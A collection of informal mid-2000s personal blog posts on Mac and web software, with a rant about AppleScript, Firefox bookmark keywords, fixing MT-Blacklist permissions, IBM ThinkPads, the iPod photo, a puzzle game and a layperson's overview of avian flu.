My ISP has been tuning the antennas this afternoon, and things have been… kind of zippy. I ran a speed test and just had to put up this screen shot.

How fast is my broadband? It is beyond dude fast.

(this was, alas, short-lived. They finished tuning the antennas and things dropped back down to merely fast fast. Still. It was breathtaking for a while there. Have I mentioned recently how much I like high speed wireless?).

I really want to like AppleScript. It’s a weird programming language, and I like weird programming languages, ergo, I should like AppleScript. In theory, there’s a ton of stuff you CAN do with applescript to do automated stuff on the mac.

But it seems like every time I delve into Applescript I rapidly descend into complete madness, ending up hours later phrasing and rephrasing the same line trying to get it to do something trivially simple in any other language and screaming at the computer in fury. It is not a language for humans to program in. It is a gross deceptive horror of a language. It makes no sense. You read AppleScript and you think, OK, it’s like english, and you try to write it and no, its not like english at all. It is a happy fluffy pink bunny hiding a jar of acid behind its back. I hate this *@&#(@&*# language.

I got to thinking about AppleScript today because over on Daring Fireball John Gruber has a long post about deep problems he’s been having with AppleScript, with a digression in the middle about the horrors of AppleScript in general. It’s a post that made me grimace in pain and sympathy, and wonder throughout “oh no. no it can’t be that bad.” but yes. It was. His bug is, fortunately, not a bug I have run into. I have not done that much with AppleScript, and frankly, I would have given up way before he did. But it is a bug that makes me throw up my hands in disgust at the sheer….inelegance of it all.

It is really shameful that Apple, which does so well in its consumer-facing hardware and software visual and industrial design, has such an ugly, nasty, slimy, drooling troll of a language design for its underlying automation. That’s just WRONG. And its wrong that Apple has gone so long — what, fifteen years?! without fixing it. It’s like an old rotten blankie they just can’t stop worrying. Just throw out the damn language, Apple. Just start over with something that works.

It is good that Tiger has Automator, to help user automation, so now normal humans don’t have to deal with AppleScript. That’s a start. But I’m surprised as I poke around that if you want to program Automator, to do more than just click the buttons, you have two choices: AppleScript (arrrggghhh) and Objective C. The nasty unlearnable scripting language and the heavyweight scary Real Programming Language. Not the most approachable framework.

On the other hand Dashboard uses JavaScript as its scripting language. Someone in that group didn’t drink the koolaid, I guess. JavaScript isn’t exactly the most perfect programming language, but at least it makes some marginal amount of logical sense.

OSX does have the Open Scripting Architecture, OSA, which theoretically enables other scripting languages to be plugged in and used instead of AppleScript for basic automation. I haven’t heard much about this other than that there are plug-ins for JavaScript and Python. I get the impression that its not commonly used. I should add that to my list of Stuff to Play With (only about 40 items long now….)

The Unofficial Apple Weblog (TUAW) posts that Apple Technote #31, describing Clarus, the Dogcow, seems to have gone missing on the Apple Developer Website. The dogcow is a bit of apple lore that turned up again and again in various places in Apple software over the years. Removing technote 31 does not bode well for the corporatization of Apple. Fortunately, as someone in the TUAW comments pointed out, you can still find technote 31 at web.archive.org. I note that wikipedia has a big page about the dogcow as well (although it is sadly quite factual and dry).

I’m remembering a dust-up a long time ago when I was at Stupid Company when an unknown writer edited out a line from the tunefs(8) man page that said “You can tune a file system, but you can’t tune a fish.” Presumably it was removed because it was funny. Can’t have that. But back then greater minds prevailed and it was put back with great fanfare and a big comment added to the source that said this joke was a Unix tradition and should not be removed.

Alas I just checked the tunefs man page from a recent Stupid Company OS release and it’s gone again. Wah.

(I got it from inessential.com.)

(click through, the whole thing is cute).

A bunch of months ago we got wireless broadband Internet, and all was right with the world. Except there seems to be a rule in our world that once something goes right in our tech configuration, something must also then go horribly wrong. So after changing ISPs, getting a new mini-firewall, renumbering our entire internal network, moving our DNS offsite, reprogramming our entire spam management system, and finally getting everything working perfectly, the very next day the power supply in our main server blew up (“what do you mean it won’t turn on?” “you heard me, it won’t turn on and it smells bad.”)

While the easy solution would have been to just go find a power supply, we considered all options. Usually the death of a box is what forces us to upgrade; this box was purchased when our last server blew up a few years ago (hard drive Grind of Death). It was a decent box for its time but nothing top of the line, and it was showing its age. I began shopping for a new computer. Something in the $500 Dell range, I figured.

It was then that Fry’s began to advertise the Dirt Cheap Computer. Fry’s, as anyone from the area knows, is the local evil computer superstore. You can get anything — *anything* computer or technology related at Fry’s, and at really incredible prices. You just have to completely humiliate yourself to do it. No sales people at Fry’s know anything about the technology they sell, but they harrass you madly for the comission; they browbeat you to sell you things you don’t need; they line you up like cattle to pay for stuff and shout at you (“Line 14! Line 14!”) and then they search you at the door on your way out. And that’s just to buy things. Just try to return something (shudder). Fry’s is really evil, everyone hates them, but yet its hard not to keep going back. If you really need a null modem cable at 10PM on a sunday, they will have it. Its right next to the porn and the diet coke.

The Dirt Cheap Computer (DCC) is actually technically called the Great Quality computer. You may snicker derisively; we did. It is not Great Quality. It has off-brand parts in a no-name case. It runs linux (linspire, actually). And it costs $180. No rebate interpretive dance needed; that is the price. (you can get a slightly higher quality version, with Windows, for $250).

At the time we found out about the dirt cheap computer, it was on sale. For $150. We figured: if it blows up in a year we will just buy another one. $150. Its practically free. Yeehaw.

The DCC, it turns out, is terrific. Fedora Core installs on it with zero issues. It comes with a minimal 128M of memory (thus the price) which was fine for basic routing and web and shell access and mail until we installed SpamAssassin and then it swapped itself into a puddle. Another 512M made it much happier. Its just a server machine, but now it gronks away happily in the corner with nary a peep.

I don’t know a darn thing about VoodooPad (although looking at its features, its sounds kind of neat.) But its developer, Gus Mueller, has written a long postmortem post on his blog about developing the 2.0 version: lessons he learned, stuff he threw out while developing it, good and bad choices he made along the way.

I really enjoy reading this sort of stuff. I’m no kind of advanced developer (well, not much of a developer at all, actually), but I always learn interesting things from these kind of software programmer journals. I love them.

(I got it from Brent Simmons. Brent is the developer of NetNewsWire and MarsEdit and writes a lot of these sort of developer introspection posts himself. Also: NetNewsWire and MarsEdit rock.)

Here’s a cool trick with Firefox I discovered a few weeks back that has apparently been around for a zillion years and I just didn’t know about it. Maybe you didn’t either. It works with Mozilla, too.

Bookmarks now come with a keywords field. You can use this field to assign shortcuts to the bookmarks you use most often, and then use that shortcut in the location bar. According to the Mozilla web site, these are called custom keywords, but I think of them more like shortcuts.

For example, I spend of a lot of time on the web site for the Los Gatos Public Library, which has the annoying URL of http://library.town.los-gatos.ca.us/. History completion will help me out if I just start typing “library” in the location bar, assuming I’ve already been to the library before in that session. Or, I can assign a shortcut to the bookmark for that URL — say, “lgl”.

Use Manage Bookmarks>Properties to examine a URL. You’ll note the name and URL of the bookmark, as usual. Then there’s a keyword field. That’s where I put the lgl part for the shortcut. I can put more than one shortcut in here: lgl, l, library, whatever. All of them count.

Now I can just type lgl into the location bar, and Firefox will expand that into the full URL and go there. Keep in mind that you can use Control-L to open the the location bar (Command-L on the mac), so you don’t have to even use the mouse. Control-L lgl return, done.

But wait, there’s more. You can use shortcuts for searches and then stick the keywords you want to search for on the location bar, too. Hey, you say, I can search in the search box up there in the righthand corner. I don’t know about you, but I think that search box is kinda small. To get there I have to actually click on it. And if I want to search different places I have to pull down the menu and tell Firefox where I want to search. The search box is there but its kind of a pain to use. But hey, you say, if I put search keywords on the location box right now, Firefox will search google. Well, yeah, but all you’ll get is the “I feel lucky” response. I almost never get lucky. (ahem). BUT WAIT, you say, I have googlebar. Yes, but this works for sites other than google. This works for any site that has a search. Shortcuts for searches: much cooler.

Any other protests? No? OK. Here’s how it works: If the site you’re going to search encodes the keywords in the URL, you create a bookmark for that URL but you replace the keywords with %s. So for example if you search google for “foo” the URL looks like this:

http://www.google.com/search?q=foo

So the URL you actually bookmark will look like this:

http://www.google.com/search?q=%s

To create the shortcut for this, use Manage Bookmarks>New Bookmark. Call it something like Google Search (this is different from your normal Google bookmark, if you have one) and put in that special search URL. Give it the keyword of your choice (I like “g”). OK.

Now you can type g firbnotz in the location bar and Firefox will tell google to search for the word firbnotz. (“No pages were found containing the word ‘firbnotz’”, darn)

Here’s an enormous list of search engines and other searchable sites with their URLs already encoded for shortcuts for you so you don’t have to figure things out. You can crib from this site to create shortcuts for the stuff you use most often.

Enjoy!

Yahoo! News – IBM Puts PC Unit Up for Sale – NY Times

I bought an IBM Thinkpad laptop almost ten years ago after a really great conversation with an IBM sales rep at comdex, and I’ve owned three more since then. I bought a a refurbished X31 with a full IBM warranty just recently as my main Windows machine, replacing both an older X20 Eric stole from me and an aging desktop. When I was having horrible trouble with my hands in 1999 and I could not type on any computer keyboard, ergonomic or not, for more than about half an hour a day, I discovered that I actually could type on a thinkpad keyboard. IBM hardware saved my career.

Eric inherited my old Thinkpad X20 because he discovered there was a thriving community of linux developers and support forums for the Thinkpad. Red Hat installed on it without problems. When the screen died a few months back he replaced it with a slightly larger model (a T40) because he found out that IBM itself was certifying and supporting linux on those models. No one else seems to have such large corporate support for linux (who would ever have guessed that IBM would be at the vanguard of free software development? It still boggles the mind).

I’m primarily a Mac user, but I do use Windows a lot for work. And the thinkpad hardware, while not as technolusty gorgeous as a powerbook or even, say, a Sony Vaio, is incredibly well-constructed. I’ve only ever had one problem with a thinkpad — my first one, a 770, blew up, literally, small puff of smoke, smell of ozone — and when I called them they had the entire thing fixed in two days, including shipping (I still don’t know how they did that). And for the record I have no difficulties with the nipple mouse and actually prefer it to a trackpad.

So although I understand IBM’s motivation — the PC business is obviously not a good business to be in unless you are Dell — I will mourn the thinkpads when they are gone.

So by now everyone knows about the new iPod photo that’s been announced with the color screen that you can use to view photographs. Goody.

But you sync photographs onto the iPod using…iTunes. Buh? Pardon? Apple *has* a tool for dealing with photos: iPhoto. Now, OK, iPhoto is not the best product. I use it and I am not happy with it. Its easy to use for really basic importing and building slideshows but really cumbersome for anything more complex. It bogs down if you put any large number of photos into it. Its organization of the photos on the filesystem is labyrinthine and nasty. And it doesn’t provide an easy way of searching or sorting photos on metatdata the way that iTunes has (smart playlists: godlike). I have cursed iPhoto over and over and over again, wishing it were remotely as good a program as iTunes. (and before you all sent me mail, yes I am looking at flickr).

With the photopod this was Apple’s chance to revamp iPhoto, to make it the photo organization program everyone wants to use the same way they did with iTunes. They could have built syncing with the iPod into iPhoto and driven iPod users to using iPhoto. Add a web-based photo organizer like flickr or better integration one of the net photo printing services and Apple could have really had a chance to grab the photo market the same way they did the music market.

They didn’t do any of that. Sync your photos with iTunes? That doesn’t make any sense.

But I’ve been wrong before about ipod stuff, so we’ll see.

And while I’m here, the black iPod would be kind of neat if it weren’t for all that U2 stuff.

The Fool’s Errand is one of the most addictive obsessive compulsive puzzle games I have ever played. I spent forever without sleep when I was in college in the 80’s playing it. My grades suffered. My relationships suffered. I was a wreck. It was evil.

Cliff Johnson, the author, wrote a few other games that had a similar feel in the early 90’s, and they also had a tendency to force me to abandon my entire life until I had solved them.

I discovered a year or so ago that Johnson had updated the game so that it ran on modern Macintoshes (and on Windows now), and off I went again. This time around it took me a lot less time solve it because I remembered a lot of the puzzles, but still: complete immersion. Something about this kind of game sucks onto my brain and just won’t let go. It is a sickness.

So yesterday I found out that Cliff Johnson has been working on a sequel to Fool’s Errand, called the Fool and His Money. He’s taking pre-orders. I don’t think I’ve clicked on a paypal button so fast in my life (Pay! Pay! Pay! Yes! Yes!).

I get my copy next month. Must budget time off from work.

Spent the afternoon installing MT-Blacklist, with the eventual goal of turning on comments for this blog. Or rather, spent the afternoon thrashing with and being thrashed by MT-Blacklist.

First: I installed the wrong version. Twice. I installed 1.6.5 because I missed the note on the MT-Blacklist home page that said it was incompatible with MT 3.0 (that was my fault; I just skimmed the page and clicked the link). Then I installed 2.0e because I read the note that said this was an emergency release for 3.0 users. Then when everything failed to work I googled and discovered that aha!: If you’re running MT 3.11 you need to be running MT-Blacklist 2.01b, which isn’t on the MT-Blacklist home page, its part of the MT plugin pack, which is located on the MT web site. I was interpreting “3.0 users” to mean “3.x users” which is not what it means.

The author of MT-Blacklist is obviously superbusy and actually fixing bugs in MTB is a higher priority over updating the web page, and that is a good thing. But a link on the MT home page page that said something like “MT 3.11 users: Use THIS VERSION of MT-Blacklist” would have saved me a lot of wasted time.

Even after installing the right version, however, it still didn’t work. I couldn’t even get the initialization scripts to run, let alone load the main blacklist page. I was getting 500 server errors in my access log, and lots of perl errors in my error logs (“premature end of script headers,” “cannot call method ‘param’”, “uninitialized value,” etc etc etc). I googled. I read forums. I tried hacks. Nothing worked, and there seemed to be a lot of discouraging posts from bloggers saying things like “I can’t use MT-Blacklist with MT3.11 so I removed it” with no further details.

And then at the end of my rope I went poking around the knowledge base for my web hosting provider and found a page that gave me one small clue. My provider is running an Apache feature called suexec which lets the web server run CGI scripts as the current user and group (as opposed to user/group nobody, which is the default ). But in order for the CGI scripts to run under suexec the scripts themselves and the directories in which they are contained must be chmod 755, eg, writeable only by owner.

Hmmm, thought I. The install directions for MT-Blacklist had said to make sure the files in plugins/Blacklist were chmod 755, but it didn’t say anything about the plugins/Blacklist directory. Sure enough, my Blacklist directory was 775. I did a chmod, reloaded the page, and…

It worked. Worked swimmingly.

Ahahahaha (drool).

I post this for the benefit of other bloggers who might be googling, looking for help getting MT-Blacklist 2.01b working on MT 3.11. Check the permissions of plugins/Blacklist. Its worth a try.

I have been remiss in keeping up to date on this year’s doomsday viruses. As I posted earlier, mutant killer viruses are kind of a hobby of mine. Topic for today: flu.

Note: This turned out to be a longer post than I had intended. Its also, uh, kind of different in tone from the rest of this blog; there’s information and not a lot of goofy funny stuff here. I sort of got carried away writing it (too much time on my hands). I apologize and I will try and post short stupidity for the remainder of the day.

* * * *

Influenza is the lurking demon of viruses; For most of us when we get the flu we just end up ghastly sick and are forced to watch bad TV for a few days. But the flu can be worse than that — it still kills 36,000 people in the US every year, mostly the very old and the very young. Its more dangerous than it looks. Flu’s real danger, however, is in its ability to mutate; it can readily change through both antigenic drift and shift.

Drifting is what happens to flus all the time. When the flu drifts it becomes slightly different from its parent strain. This is why you can get flu over and over again; you may have immunity to one strain but not to its drifted cousin.

The bigger problem with flu is in antigenic shift — where a flu virus mutates into something entirely different and possibly really really bad. This is what happened in the 1918 flu, the Spanish flu, where somewhere between 20 and 100 million people died (we don’t know more precisely because they didn’t keep records in populous countries like India and China).

A flu virus can most commonly mutate when it comes in contact and combines with with a flu from a different species. Humans can contract bird (avian) flus, and pigs can get both avian and human flus. Its suspected that the 1918 flu came from pigs, or perhaps shifted from birds to pigs and then to us. It was the fear of another mutated virus from pigs that spawned the whole “swine flu” panic in the 1970’s.

Avian flu is raging through Asia right now, and has been for some time. Birds, and particularly chickens, are getting a particularly nasty version of avian flu that can kill as much as 90% of the population it infects, and farmers are culling their animals in an attempt to control the virus. 100 million birds have died in asia as a result of the flu, either from infection or from culling.

This avian flu is also spreading to humans. It has killed 30 out of 42 people infected in southeast Asia so far this year (a significantly higher mortality rate, to put it mildly, than the current .1% that human flu has today). The good news is that you have to be living in close contact with birds to get it (you don’t get it from eating chicken, for example), and the avian flu does not readily pass from human to human once humans contract it from birds. Control the birds, and you can control the flu. There’s also a vaccine, although it has only just started to be produced and certainly has no distribution in developing countries or rural areas where people are more likely to be found close to infected birds.

The fear, of course, is that if an avian flu passes to a human and combines with a human flu in the wrong way, it can produce something really horrible: extremely infectious and with a very high mortality rate — and it could spread and kill people really rapidly before a vaccine is developed and long before there’s time to distribute it. In the 1918 flu there were stories of healthy adults being fine one hour and then dead the next, drowned, their lungs full of fluid from the infection. What fun.

The big news in the last few weeks has been that a case of avian flu has appeared in Thailand that appears to have been transmitted human-to-human, from a daughter to her mother. This could be a very rare case of human to human transmission of avian flu (it happens), or it could be a new mutation of the virus that more easily infects humans. The WHO is still testing the flu strain the mother has to see if it is a pure avian virus or one with human components. The former is much less worrisome than the latter. We’re still awaiting the results of that test. In the meantime, no other cases of avian flu that can’t be linked directly to birds have shown up, so for the time being, as far as we know, there’s no doomsday flu on the horizon. And unless you’re planning to spend a lot of time hanging around chickens in Asia, right now you’re OK.

Stay tuned.

More info: CDC Page on Avian Flu, for general information WHO Situation in Thailand, and WHO homepage for updates on what’s going on in Thailand. The Influenza Pandemic of 1918, a good history page.

I’m about to upgrade my blog software from MT 2.6 to 3.1. If things go completely b0rked here that’s whats up.

MT’s upgrade documentation leaves a whole lot to be desired. No readme file, nothing called out as START HERE FIRST. There is an upgrade page in the manual (in the docs directory), but it is named differently from the other files so its hard to find (I missed it entirely and ended up googling for the same file).

It turns out the upgrade process is to copy the files from 3.1 into the old 2.6 directory. By hand. And make sure you don’t overwrite anything you might have changed. Uhh. Does that include templates? Uhhhh. Hard to say. The upgrade docs are not reassuring. They are positively terrifying, actually. NOTE NOTE NOTE do not… be sure… you will need to…. ack!

You know, an installer script would really come in handy right about now. Lots of programs have them these days. Lots of FREE programs have very good installers. For $70 I’d like a little hand-holding, please.

It also doesn’t help that in googling I found some vague warnings that in addition to upgrading my MT software I’m also going to have to hand-upgrade my MT templates to use the new features, but there are no docs about that. Uhhhh.

I have backed up my postings. I have a stiff drink poured. I have the fear.

Here we go.

Update: OK, that wasn’t bad at all. I see no b0rkage yet. Please let me know if you find some (see email links at left)

Eric Sink writes a really fabulous weblog about software development and the business of running a small software company. His articles are always well-written, well-through-out, well-argued. I look forward to them and I almost always send them to other people or quote them in conversations (“yes, but Eric SInk says…”). That’s rare. He runs a Windows shop so his point of view is kind of Microsoft-centric, but the quality of his writing is so good I think that can be forgiven. :)

The most recent set of articles on his Weblog are about source code control. This isn’t a tool-specific how to check files in and out using CVS or VSS or Subversion kind of thing, its a more general tool-neutral philosophy and overview of why source code control is important and the concepts that source code control systems share. Its really well done.

This is particularly interesting to me from a technical writer point of view. Documentation used to provide these sorts of conceptual overviews (not just for source code control, for any kind of tool). It was one of the tech writer’s most interesting jobs — learning about the concepts behind the tools, and writing about WHY things were the way they were in addition to just the basic task-oriented procedures (HOW to do X). As documentation got smaller and smaller and now has mostly moved into online help, and more people use documentation just to get problem X solved as fast as possible, conceptual overviews really got lost. Now mostly it seems like its passed down through word of mouth or via blog posts like this one. If we’re fortunate it turns up in commercial books, although even a lot of books these days are also focused specifically on tasks and tutorials and hands-on procedures. “Don’t waste the reader’s time with all this background.”

I wonder how much of a market there is for this kind of information. Software companies have obviously decided it isn’t cost-effective so they don’t do it anymore. For commercial books it might be if there’s enough other information there to sell the book. Obviously there’s a market online if its free. :)

It’d be interesting to find readership numbers for Eric’s SCM articles after a month or two. Hm.

Bumper-Sticker Computer Science: quotes about programming; some funny, some very wise.